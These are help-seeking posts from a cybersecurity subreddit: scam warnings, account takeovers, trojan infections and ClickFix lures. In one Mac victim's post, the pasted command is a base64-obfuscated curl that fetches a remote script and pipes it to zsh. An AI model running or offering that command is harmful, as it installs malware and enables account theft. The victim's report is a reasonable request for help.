r/cybersecurity_help • • Apr 16 '22

PSA: You cannot "hire a hacker" to retrieve your social media accounts or lost/stolen cryptocurrency. This is a well-known scam - don't fall for it.

51 Upvotes

Over the past three weeks, this subreddit has banned 34 bot accounts referring people asking questions here to various Instagram or Twitter accounts, WhatsApp numbers to text, etc. where they can "hire a hacker" to do any number of extraordinary tasks:

  • Hacking Facebook, Instagram, or Twitter accounts.
  • Spying on people (ex. spouses).
  • Wiping someone's phone remotely.
  • Retrieving lost/stolen cryptocurrency.
  • Reversing the transaction you made where you sent money to a scammer.
  • Hacking a school's or college's database to change your grades.

Usually, these bot accounts claim to be someone that bought services from said "hacker" for a reasonably modest fee, and some of the more advanced scammers will purchase Instagram or Twitter followers to seem more legitimate.

The ruse is that these are implausible tasks being sold for impossibly small sums of money, preying on people's desperation in sensitive or difficult scenarios. After receiving your money, these scammers will make up tasks for you to do which will usually result in milking you for more money, or may simply block you and move on to the next target.

These scum make a good living off scamming desperate people, and unfortunately, that's why they're so prevalent. If you want to see this in action, check Molly White's project allmybotsgone which posts phrases meant to bait out cryptocurrency scammers' bots, then reports them in the hope that Twitter starts identifying and banning them faster. As of writing, allmybotsgone has reported nearly 3,500 scammers' accounts.

We take scams on this subreddit very seriously, and have strict content filtering and reporting rules (hidden from all of you) that help us identify and ban these scammers, sometimes within seconds of their post. However because they are so prevalent, we are making and pinning this post to help ensure as many people as possible are informed about this in case one slips by our filter.

For your own safety when asking a question on this subreddit, we remind everyone:

  • Remember that nobody can help you recover a lost/stolen account except for that company's support staff, who you should contact though official means only (ex. browse to Facebook, then find support - do not use any other method to attempt to contact support). This is explicitly covered in rule #5.
  • Do not accept DMs from anyone claiming to assist you from this subreddit, and do not voluntarily move to a different service to discuss your situation. The community cannot help keep you safe from the occasional bad actor if we cannot supervise the exchange. Under no circumstances should anyone ask to move to DMs or other services - this is a hard rule, even for well-known community members. If your question cannot be handled 100% in public, it does not belong here. This is explicitly covered in rule #6.
  • Never divulge secrets - such as keys, passwords, recovery phrases, personal information, or any other sensitive information - to anyone on this subreddit or who contacts you because of a post on this subreddit.

Thank you all & stay safe.


r/cybersecurity_help • • Dec 01 '25

Your phone didn't get hacked. Neither did your computer. Here's what actually happened.

386 Upvotes

I see posts daily about someone's phone or computer or home network getting "hacked," and I need to say this: in almost every case, that's not what happened.

What's far more likely:

- Your email got compromised because you reused a password

- A service you signed up for years ago got breached and your credentials ended up on a leak site

- Someone used those leaked credentials to log into your other accounts

- Your credit card got skimmed at a gas pump

- A site you used leaked PII in a data breach

- You clicked a phishing link and entered your credentials somewhere you shouldn't have

What's almost certainly not happening: a persistent threat actor who specifically targeted your iPhone or home network and is now moving laterally across your 10 devices like it's a corporate pentest.

Unless you're a C-suite executive at a Fortune 500, a journalist covering sensitive topics, a political dissident, or someone famous, you are not interesting enough to hack. I say that with love. None of us are.

The attack surface for a modern iPhone or Android with current updates is extremely small. State-level actors have exploits for these, but they're not burning zero-days on someone who reused "Winter123!" across six accounts.

Check haveibeenpwned.com. Use a password manager. Enable MFA everywhere. That solves 99% of what people call "getting hacked."

edit: to the armchair experts chatting me up to tell me how incorrect this is - rest assured I am an expert in this field and have contracted with Federal/State governments and some of the most recognizable brands in the world. Any current security expert will generally agree with this post.

If you’re downloading things from unknown sources or using torrent sites to get movies/music/apps, etc. and your machine was compromised then this obviously doesn’t apply to you, you installed a Trojan and opened the door for them.


r/cybersecurity_help • • 4h ago

Are my files clean? I don't know anything about viruses and I'm scared, can someone please help me?

3 Upvotes

A few days ago I put a trojan by accident on my brother's computer because I'm an idiot. It was because of downloading a pirated game.

The file was detected as Trojan:Win64/Lazy.PGLI!MTB and it was quarantined by Windows Defender, I think.

However, every time I restarted, I got a message saying that a file called "Ome-Relay.exe" was being used by an unspecified program. Then I used Malwarebytes and it blocked a file called ZoneDispa.exe multiple times. That removed that message. However, even though the deep scans say there is nothing in the device, I don't think it's clean at all, because those files that were created in C:\ProgramData are still there, and I don't know if the trojan installed more malware or something.

While I was searching for the Zonedispa.exe file hash in PowerShell, after a while, the screen flickered like when the resolution is changed, the background turned black, and the icons rearranged themselves, and then I saw PowerShell constantly updating in my Windows user account (like C:\Users\"my user">). The black background issue isn't the first time that happened; it also occurred when I was scanning with Windows Defender and Malwarebytes. I don't know what it means.

That was the only thing that really happened, because our accounts are fine since I didn't have wifi at the time (although I'm not sure if I had it on when I installed the virus, probably yes) and I rushed to log out and change passwords from my phone. But even so, since I can't find anything about this virus on the internet, I'm honestly very scared.

The most important thing for me is to save my brother's projects, but I'm not sure if that trojan could have "stuck" in those files (which, by the way, I saved to a new Google Drive account yesterday since I don't have a USB drive handy) I don't know if I should trust antivirus software 100% to scan my saved files, since it has a margin of error.

What am I supposed to do? Those are not important files about money or anything, but are my brother's creative projects and I'd feel awful if they were ruined because of me (I already feel awful). Most are text, image and video files, but there are also godot files and some .rar files and other file extensions. Can I save those files?

What I plan to do is completely reinstall Windows using a USB drive with the help of a friend that's a computer tech, but he is out of town for the time being and I want to know what to do in the meantime. Could someone give me some advice? This situation is literally eating me up inside. Currently the of is turned off, completely from the electricity, because I shitted my pants 😅


r/cybersecurity_help • • 2h ago

Whatsapp and Telegram got hacked, what can I do to prevent not being hacked anymore?

2 Upvotes

Last saturday I woke up to my friend sending me a message showing me I have a random asian woman as my pfp and I had been online while I was asleep. I opened whatsapp and it said my account can't be used. I clicked review as that was the only option. I was on iOS 16, iPhone 13mini, but after my whatsapp was hacked, I updated to iOS 26 the same day.
After the update was done, I got my whatsapp account back and checked if there's anything weird and only found a call from random number from abroad.

Then on sunday I woke up to my telegram being hacked, I had sent 20 accounts a random korean video with some link. I started panicking and while half asleep I thought I'd just clean all my telegram data and telegram kicked me out automatically when I did that. I just deleted the app thinking it's fine, but later on wanted to check it, but telegram asked me to pay 0,99€ SMS-fee to check i'm not a bot or something. I didn't want to pay so I let it be for a while and then afterwards tried again and could log in with email, phonenumber and password.

When I logged back in all my data was still there so the data reset didn't work clearly and I noticed another device (some mac) abroad had a session on my account. Tried to terminate all sessions, but it didn't let me do that so I decided to just delete my account and make a new one later on.

My boyfriend said it's possible someone stole all my sessions when I was on iOS 16 as the older updates had vulnerabilities so he adviced me to terminate all sessions on every account I have and change passwords. I did that (also switched my apple ID password, but can't log in and out yet) and now things have been okay for today.

I'm still scared and really want to switch phones and reset this one, but I sadly can't do anything before I have a new password for my bank account and that will take a few weeks (the bank account thing is nothing related to this, my bank acc has been fine I just need to be able to move my mobilebank to another device and won't be able to before the new password).

I'm wondering how possible it is, that just terminating all sessions and switching passwords along with the update could've fixed the whole thing. I'm scared I have some firmware level malware, but idk how to check that and what to do. Is there anything I could do to prevent getting hacked again before I get a new phone and what should I keep in mind when switching phones? I'd be grateful for any information regardless this topic, I've tried to do as much research as possible, but haven't really gotten any clear advice yet.


r/cybersecurity_help • • 1m ago

Suspicious activity detected in my gmail. What to do next

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• Upvotes

What this is guysss. I don't have idea ​how my account has suspicious activity. Idk have any Mac devices. I already followed steps recommended by google. To scan from play protect, to change password and removing any active sessions. What should I do next. Is there something I should be worried about.


r/cybersecurity_help • • 8m ago

got hacked on messenger now i dont get any notfications

• Upvotes

i gor hacked about 3 months ago and to this moment i dont get any notfications from my chats its not muted in the app and in the system messenger have all the permissions it needs


r/cybersecurity_help • • 2h ago

Google account and recovery phone number

0 Upvotes

Looking around google account settings and even though i have authenticator app enabled, google still has a recovery phone number listed. This seems like a huge flaw right? Keeps the account open to SIM swap attack. When i remove the recovery phone, google keeps prompting me to add one. I’m not clear why they’re pushing something that seems much less secure? Am i wrong to think that any security measure involving a cell phone number is really dangerous?


r/cybersecurity_help • • 2h ago

Unauthorized messages from my WhatsApp

1 Upvotes

Several people received texts from my WhatsApp including nude pics that I did not send. The pics were from previous WhatsApp chats that I did have. This has created some very embarrassing situations. How do I prevent this from happening again?


r/cybersecurity_help • • 3h ago

I got hacked/logins stolen

1 Upvotes

Yes as the title says i got hacked,
now i know exactly what i did and how it happened

i went on to download a beamng mod manager from github, idk why it seemed ok, and when i tried to start it nothing happened, soon after my phone blew up on my gmail accounts requesting password resets/email resets and all that

i already delete the mod manager before i got the emails bc it didnt work

im just looking for some help as to what todo now

currently i changed all my email passwords (got 4 accounts) and tried to reset any password on any platform i could and activated 2FA

one steam account is still not mine but i already contacted support, same with a microsoft and blizzard account

i unplugged my pc from the ethernet and i have no wifi card
i wanted to reset windos from a recovery point but it failed because of AppxSatging and i couldn get it to work, even tried some cmd prompts to get the ownership of the WindowsApps files changed but it didnt help

as the problem accoured today or on the 26th of October, is a systemrecovery good enough if it would work or should i do a hard reset? i habe 5 hard drives in my pc do i need to wipe them all clean? can i somehow see or test if the hacker/mailware is still there?

im just a little overwhelmed as i normally look out for such things to not happen to me but whatever :/

any help is appreciatet

also they logged into my instagram account and discord account too and spammed some mr beast crypto stuff, i deleted most of it but on discord im not sure on how many servers this got sent

i think i got lucky because i was instantly doing something when all the emails came, just not sure where to look next or what todo now?

thanks :/


r/cybersecurity_help • • 3h ago

Is using a Cold wallet for 2MFA ok? Vs a Yubikey?

1 Upvotes

I’m eyeing a OneKey Pro 2,
You can use it as a 2MFA and (1st crypto).

The Yubikey,
I keep seeing the software from a store, is said not to be a “5.8”? That it needs to be?

How often do you buy security keys online vs the store?

I don’t want to order off a of wrong link (even tho I know to just check the UrL)

Is buying them from Bestbuy ok?

Or,

Could a cold wallet that supports 2MFA,
Be better?


r/cybersecurity_help • • 3h ago

Facebook Hacked and details changed cant use prev logged in device as I upgraded need help how to get account back lets brain storm.

1 Upvotes

Account got hacked a couple years ago been trying to get it back as Facebook has no customer service and just a stupid Ai that sends you in a loop. The hackers is using my accounts for ads and phishing scam cos I still get notifications on my phone by can’t log in cos password change. I still have the Facebook security email of hacking changing by details but waited to long and that link expired/invalid. I can see the email they changed my Facebook account too but can’t do anything, just wish I knew one of those YouTube hackers to hack his email and unlink his account. I really need to get into that accounts has pics of my deceased dad which I need, they can honestly keep the account just need the pictures and messages I got from him 🙏🏾.


r/cybersecurity_help • • 8h ago

For those who have a Yubikey, if you were to fall victim to an InfoStealer, could the malicious actor disable/unlink your Yubikey from your account and render your Yubikey useless?

2 Upvotes

Hey everyone,

It's been a while since I posted here regarding my question about Yubikeys and InfoStealers and if they would be able to help combat against InfoStealers and having your accounts being compromised such as falling for the infamous MrBeast scam that's been floating around Discord recently and although I appreciate the answers regarding that malicious actors can in fact bypass your Yubikey and still access your account as they get ahold of your session token and bypass the login.

My question here today is even if your account does get compromised whether it be via a InfoStealer or having your session token stolen. Could the malicious actor disable and unlink your Yubikey from your Discord account for example? I myself have feel victim to account compromises on Roblox and had someone completely disable my 2FA and re-enable it as well as changing the password itself and completely locking myself out after falling victim to a phishing scam. (My account had 2FA enabled as well as it being locked behind my MS authenticator) and I foolishly entered my credentials and my authenticator code and that was how they managed to get in.

With that experience already being experienced with, what would happen where instead of having basic 2FA and having your account secured via an authentication app like MS authenticator, would it be possible for someone to completely remove your Yubikey from your account similar to what happened to me and my Roblox account? Because what is going through my mind is, if they can do that then, well wouldn't your Yubikey be nothing much but a tableweight at that point?

I'd really like to know as the only thing from stopping me from actually purchasing one of these is not being able to prevent my accounts from getting stolen in the event that I do fall victim to a InfoStealer and become a victim of the notorious MrBeast scam.

Please let me know how Yubikeys work compared to your usual 2FA authentication method with passkeys and authentication apps. Thanks


r/cybersecurity_help • • 11h ago

Help Needed: Reddit Impersonation, Doxxing, Harassment, and No Action from Reddit or Police

3 Upvotes

One of my very dear friends is being impersonated on Reddit in extremely obscene threads, where her personal information is also being shared publicly. As a result, she has been receiving very disturbing and inappropriate calls and messages.

Based on the Reddit account’s posting history, we were able to identify someone we strongly suspect is behind this. He is someone from her past whom she wants absolutely no contact with. We connected the dots after finding a Reddit post in which the same user asked how he could claim more work hours than he had actually worked in order to get paid more. Given the city and location details we already knew, the post raised serious concerns and helped us identify him as a likely suspect.

I subsequently messaged him from my own account, and, quite coincidentally, my friend received a phone call from him the following morning. While we cannot independently prove that he is behind the Reddit posts, the timing and surrounding circumstances are extremely concerning. We also found a publicly available court case involving him following an arrest, which adds to our concerns about the situation.

We have already filed a complaint with the police. However, we were told that they could not obtain a warrant or take further action unless the content involved nude images or AI-generated explicit imagery. We also contacted the moderators of the subreddit where the posts are appearing, and they said they would look into it. It has now been over 10 days without any meaningful update or resolution. We reported the content to Reddit as well, but that has not led to any apparent action either.

This situation is becoming increasingly distressing and is clearly escalating, particularly because my friend’s personal information is publicly exposed and she is receiving unwanted calls and messages. It is incredibly frustrating to feel that we have exhausted the obvious reporting channels without getting any meaningful help.

At this point, we are unsure what steps to take next to get the impersonation and personal information removed, protect her privacy and safety, and hold the person responsible accountable through the appropriate channels.


r/cybersecurity_help • • 6h ago

Help! i fell for a clickfix

1 Upvotes

Hello sadly i fell for something far too obvious as i was in a hurry (yes i clicked execute)
after that immediatly realized "what have i done"
and googled...so apparently i falled for a clickfix.
what should i do now?

EDIT> Reseted all my passwords from another device and already wiped my pc clean , thank you everyone


r/cybersecurity_help • • 13h ago

Someone keeps logging into my accounts...

4 Upvotes

I'm so fucking confused. First, it was on X. I sent Mr Beast ads to people that I was mutuals with, thought my account got hacked, changed the password but it didn't make sense, they didn't do anything major, they didn't blackmail me, only the ads. Now that I opened reddit I'm seeing myself having texted strangers when I quite literally did not. My account is flirting with fuckers I don't know. What's going on? Has anyone noticed something similar? What the fuck. I have shitty memory so I may be wrong but it wouldn't work when I tried changing my password on X so I changed my gmail password, I don't even know if my X and Reddit account share the same email rn. Help?


r/cybersecurity_help • • 14h ago

Should regular users do anything after the recent PHP vulnerability?

4 Upvotes

With the recent PHP vulnerability, I've been wondering if there's anything I should do as a regular user. Specifically, should I be changing my passwords or taking any other precautions?

Also, is signing up for Have I Been Pwned enough to stay informed about data breaches and leaked passwords?

I've heard that some people also use Google's built-in Password Manager, which can notify you if any of your saved passwords have been compromised. However, I'm not really comfortable with the idea of storing all my passwords with Google.

What do you guys recommend? Is HIBP enough, or are there any other steps worth taking?

Or am I overthinking this, and should I just leave things as they are for now and wait for notifications from HIBP or emails from any affected services?

Thanks!


r/cybersecurity_help • • 15h ago

Got verification codes for sites I don't use.

2 Upvotes

When going through my text messages, I noticed that I got verification codes from Authy for Twilio and OpenAI, neither of which I never used and never will. I only used it for Twitch and PayPal but that was all.

How did this happen? I changed the email password a few times before and lock them through two-step verification programs.


r/cybersecurity_help • • 12h ago

I NEED URGENT HELP! My emails keep getting compromised!

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0 Upvotes

On Thursday Oct 22nd, I pasted something from a Github terminal as an attempt to pirate something, (yes this was my fault, but i can't undo it now.) Later, my Mac forced me to “update” without giving me choice to click no. The next afternoon, my Steam got compromised, but I quickly recovered it. On Saturday, my META (Insta) got HACKED with a MrBeast Crypto scam posted on my stories, that I also recovered. But then on Sunday from yesterday, my mother's gmail with 2FA also got compromised, and today my spare ones and work gmail.

As you can see it's going as though a chain event, slowly spreading to my other protected gmails as well. I've tried virus scanning with Malwarebytes, which kept informing me that it was already 0 threats. I've tried deleting suspicious stuff asking for Full Disc access, but it still keeps hijacking. Activity Monitors. Applications, nothing in particular.

I've also noticed that with each gmail hack, they all share a Windows device from “Azerbajan” keeps coming up into our signed out devices list. I don't have a Windows device.

I don't know what to do and have been so apprehensive about each day coming. I really don't want to Factory Reset and lose all my stuff on there.

edit:

JUST RIGHT NOW I KEEP GETTING SPAMMED ACCOUNT VERIFICATION EMAILS IN MY INBOX. How do I stop it? I haven’t even logged onto my Macbook this morning! (AliExpress, Slack, Kraken) I checked my active devices on google security but it reported that there was only my personal devices online?


r/cybersecurity_help • • 16h ago

I need help on fixing my Ip and connection issues

2 Upvotes

my gemini says it's not supported in my country suddenly even though i have been using it since it was released. and i also found out that my ip has currently 100 proxy threat in clean ip website. My isp hasn't solved the problem yet even though i have given him all necessary info and details of what problem i am facing.

what should i do now?


r/cybersecurity_help • • 18h ago

Crunchyroll account was accessed from another country, could I have malware?

3 Upvotes

EDIT: Looks like this is a non issue. There are many reports in this thread from other CR users having the exact same thing happen, especially when clicking the manga section. This thread of a similar nature from three years ago suggests that it may be a long term issue that many have experienced.

My Crunchyroll account was recently logged into whilst perusing the site on Firefox. The login was from Boardman, Oregon. I had changed my password about 10 days prior and it was highly secure and unique, it wasn’t a guessable password.

I’m now concerned about connecting my pc to the internet as I don’t know how someone could have found out my email and password. I did a full scan and an offline scan (Windows 11) and no malware was found.

Is it possible that this was a server error on Crunchyroll’s end? When consulting with Gemini it told me that location is common for AWS services. I clicked on the manga section of the website in the same minute that my account was accessed, a part that I don’t normally visit but I’m unsure if this is relevant. I was connected through Mullvad at the time.

It seems odd that someone would try to access this account of all things if they had access to my pc, however Crunchyroll is one of few platforms left nowadays that do not have MFA options. I’d like to avoid doing a fresh windows install if this was just an error as it would be tedious to get all my software synced up with the local data and customisation I currently have, for example FL Studio.


r/cybersecurity_help • • 13h ago

Can Windows Defender detect a browser extension misusing its permissions?

1 Upvotes

If a browser extension has permission to read and change data on websites, would Windows Defender detect it doing something harmful?

Is Windows Defender enough for this kind of risk, or does checking extension permissions require different approach? I'm trying to understand the different approach? I'm trying to understand the difference between detecting malware and an extension misusing access it was granted.


r/cybersecurity_help • • 22h ago

Hit on a random numbers mms download by accident

5 Upvotes

I have an android phone and accidentally I hit on an MMS download from an unknown number. After I hit downloaded, the message thread immediately got deleted without me doing anything and I didn't see anything downloaded to the phone as well. It's been about 24 hrs now. I ran the play protect scan and I also downloaded some antivirus.

What can I do to protect myself? I'm feeling a bit paranoid.


r/cybersecurity_help • • 1d ago

Mac - Hacked trying to download an app help

4 Upvotes

Hi, i was trying to download an app from allmacworld and i choose a wrong option, long story short i ended putting this command on my terminal and allowing everything

curl -s $(echo "aHR0cHM6Ly9uZXN0LTUyLmNvbS9jdXJsLzU3azVnZ2Ixci9nN3Rnc24yaWQzazg1emY5bThlbW5tNXAuZGF0" | openssl base64 -d -A) | zsh

I know, i'm stupid. They ended putting 2 stories on my instagram and deleting my messages. I changed a couple of passwords but i'm scared. I remember that as soon as i did that it was trying to open two chrome windows but it failed. I feel like they are still in my computer. I remember giving it allow to chrome, my archives and notes. What can I do? pls


r/cybersecurity_help • • 23h ago

how do you choose the best security software for protecting personal information online?

1 Upvotes

i've been thinking more about how much of my personal information is stored online, from email accounts to shopping and banking details. i want to be more careful about keeping that information safe, but looking into security software gets confusing when every option seems to offer something different.

i came across Mcafee while comparing a few options and saw that some plans include web protection and identity monitoring along with antivirus. i'm not sure if those extra features are worth paying for or if the built-in protection on my computer is enough for everyday use.

for those who know more about online security, how did you decide what protection you actually needed? i'd like to know what makes a real difference without paying for features i'll probably never use.